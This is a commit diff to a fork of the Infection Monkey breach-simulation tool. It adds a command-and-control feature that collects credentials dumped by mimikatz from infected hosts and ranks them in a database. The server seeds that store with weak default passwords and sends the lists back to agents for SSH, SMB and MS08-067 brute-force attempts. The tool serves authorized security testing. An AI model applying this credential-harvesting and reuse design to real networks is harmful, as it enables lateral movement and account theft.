forked from p15670423/monkey
Add C&C ability to share credentials found from monkeys
This commit is contained in:
parent
1e876eb597
commit
1a55c8362f
|
@ -150,11 +150,12 @@ Copyright (c) 2016 Guardicore Ltd
|
|||
|
||||
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
||||
|
||||
|
||||
Dependent packages
|
||||
---------------------
|
||||
|
||||
Dependency | License |
|
||||
----------------------------|----------------------------
|
||||
Dependency | License | Notes
|
||||
----------------------------|----------------------------|----------------------------
|
||||
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
||||
PyCrypto | Public domain
|
||||
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
||||
|
@ -188,3 +189,4 @@ Dependency | License |
|
|||
winbind | GPL-3
|
||||
pyinstaller | GPL
|
||||
Celery | BSD
|
||||
mimikatz | CC BY 4.0 | We use an altered version of mimikatz. Original: https://github.com/gentilkiwi/mimikatz
|
||||
|
|
|
@ -208,8 +208,8 @@ class Configuration(object):
|
|||
rdp_use_vbs_download = True
|
||||
|
||||
# User and password dictionaries for exploits.
|
||||
exploit_user_list = ['Administrator', 'root', 'user']
|
||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||
exploit_user_list = []
|
||||
exploit_password_list = []
|
||||
|
||||
# smb/wmi exploiter
|
||||
smb_download_timeout = 300 # timeout in seconds
|
||||
|
|
|
@ -59,8 +59,8 @@
|
|||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"skip_exploit_if_file_exist": true,
|
||||
"local_network_scan": true,
|
||||
"exploit_user_list": ["Administrator", "root", "user"],
|
||||
"exploit_password_list" = ["Password1!", "1234", "password", "12345678"]
|
||||
"exploit_user_list": [],
|
||||
"exploit_password_list" = []
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_timeout": 10000,
|
||||
|
|
|
@ -46,12 +46,6 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
passwords = list(self._config.exploit_password_list[:])
|
||||
users = list(self._config.exploit_user_list)
|
||||
known_passwords = [host.get_credentials(x) for x in users]
|
||||
if len(known_passwords) > 0:
|
||||
for known_pass in known_passwords:
|
||||
if known_pass in passwords:
|
||||
passwords.remove(known_pass)
|
||||
passwords.insert(0, known_pass) #try first
|
||||
user_pass = product(users,passwords)
|
||||
|
||||
exploited = False
|
||||
|
|
|
@ -233,6 +233,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
|
||||
# TODO: why are we doing this? Isn't that smbexec's job?
|
||||
if not remote_full_path:
|
||||
# try other passwords for administrator
|
||||
for password in self._config.exploit_password_list:
|
||||
|
|
|
@ -88,14 +88,10 @@ class ChaosMonkey(object):
|
|||
LOG.debug("default server: %s" % self._default_server)
|
||||
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
||||
|
||||
additional_creds = {}
|
||||
|
||||
if WormConfiguration.collect_system_info:
|
||||
LOG.debug("Calling system info collection")
|
||||
system_info_collector = SystemInfoCollector()
|
||||
system_info = system_info_collector.get_info()
|
||||
if system_info.has_key('credentials'):
|
||||
additional_creds = system_info['credentials']
|
||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
|
@ -105,14 +101,10 @@ class ChaosMonkey(object):
|
|||
else:
|
||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||
|
||||
|
||||
|
||||
for _ in xrange(WormConfiguration.max_iterations):
|
||||
ControlClient.keepalive()
|
||||
ControlClient.load_control_config()
|
||||
|
||||
self.update_config_creds(additional_creds)
|
||||
|
||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||
|
||||
|
@ -133,9 +125,6 @@ class ChaosMonkey(object):
|
|||
if ControlClient.check_for_stop():
|
||||
break
|
||||
|
||||
# TODO: Consider removing later
|
||||
self.update_config_creds(additional_creds)
|
||||
|
||||
is_empty = False
|
||||
for finger in self._fingerprint:
|
||||
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
||||
|
@ -254,16 +243,4 @@ class ChaosMonkey(object):
|
|||
except Exception, exc:
|
||||
LOG.error("Exception in self delete: %s", exc)
|
||||
|
||||
def update_config_creds(self, additional_creds):
|
||||
# TODO: this is temporary until we change server to support changing of config.
|
||||
for user in list(additional_creds):
|
||||
if user not in WormConfiguration.exploit_user_list:
|
||||
WormConfiguration.exploit_user_list.append(user)
|
||||
|
||||
creds = additional_creds[user]
|
||||
if creds.has_key('password'):
|
||||
password = creds['password']
|
||||
if password not in WormConfiguration.exploit_password_list:
|
||||
WormConfiguration.exploit_password_list.append(password)
|
||||
|
||||
LOG.info("Monkey is shutting down")
|
||||
|
|
|
@ -43,7 +43,6 @@ class MimikatzCollector:
|
|||
|
||||
for i in range(entry_count):
|
||||
entry = self._get()
|
||||
# TODO: Consider what to do when string can't be ascii
|
||||
username = str(entry.username)
|
||||
password = str(entry.password)
|
||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||
|
|
|
@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
|
|||
},
|
||||
]
|
||||
|
||||
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
|
||||
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
MONGO_URL = os.environ.get('MONGO_URL')
|
||||
if not MONGO_URL:
|
||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||
|
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
|
|||
timestamp = request.args.get('timestamp')
|
||||
|
||||
if guid:
|
||||
return mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json['config']['exploit_user_list'] = \
|
||||
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
|
||||
monkey_json['config']['exploit_password_list'] = \
|
||||
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
|
||||
return monkey_json
|
||||
else:
|
||||
result = {'timestamp': datetime.now().isoformat()}
|
||||
find_filter = {}
|
||||
|
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
|
|||
except:
|
||||
pass
|
||||
|
||||
# Update credentials DB
|
||||
try:
|
||||
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
|
||||
creds = telemetry_json['data']['credentials']
|
||||
for user in creds:
|
||||
creds_add_username(user)
|
||||
|
||||
if creds[user].has_key('password'):
|
||||
creds_add_password(creds[user]['password'])
|
||||
except StandardError as ex:
|
||||
print("Exception caught while updating DB credentials: %s" % str(ex))
|
||||
|
||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||
|
||||
|
||||
|
@ -259,6 +279,9 @@ class Root(restful.Resource):
|
|||
mongo.db.config.drop()
|
||||
mongo.db.monkey.drop()
|
||||
mongo.db.telemetry.drop()
|
||||
mongo.db.usernames.drop()
|
||||
mongo.db.passwords.drop()
|
||||
init_db()
|
||||
return {
|
||||
'status': 'OK',
|
||||
}
|
||||
|
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
|
|||
|
||||
return (True, "pis: %s" % pid)
|
||||
|
||||
def creds_add_username(username):
|
||||
mongo.db.usernames.update(
|
||||
{'username': username},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
def creds_add_password(password):
|
||||
mongo.db.passwords.update(
|
||||
{'password': password},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
### Local ips function
|
||||
if sys.platform == "win32":
|
||||
def local_ips():
|
||||
local_hostname = socket.gethostname()
|
||||
return socket.gethostbyname_ex(local_hostname)[2]
|
||||
|
||||
else:
|
||||
import fcntl
|
||||
def local_ips():
|
||||
|
@ -398,6 +433,17 @@ def send_to_default():
|
|||
return redirect('/admin/index.html')
|
||||
|
||||
|
||||
def init_db():
|
||||
if not "usernames" in mongo.db.collection_names():
|
||||
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
|
||||
for username in INITIAL_USERNAMES:
|
||||
creds_add_username(username)
|
||||
|
||||
if not "passwords" in mongo.db.collection_names():
|
||||
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
|
||||
for password in INITIAL_PASSWORDS:
|
||||
creds_add_password(password)
|
||||
|
||||
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
||||
api = restful.Api(app)
|
||||
api.representations = DEFAULT_REPRESENTATIONS
|
||||
|
@ -414,6 +460,8 @@ if __name__ == '__main__':
|
|||
from tornado.httpserver import HTTPServer
|
||||
from tornado.ioloop import IOLoop
|
||||
|
||||
with app.app_context():
|
||||
init_db()
|
||||
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
||||
http_server.listen(ISLAND_PORT)
|
||||
IOLoop.instance().start()
|
||||
|
|
Loading…
Reference in New Issue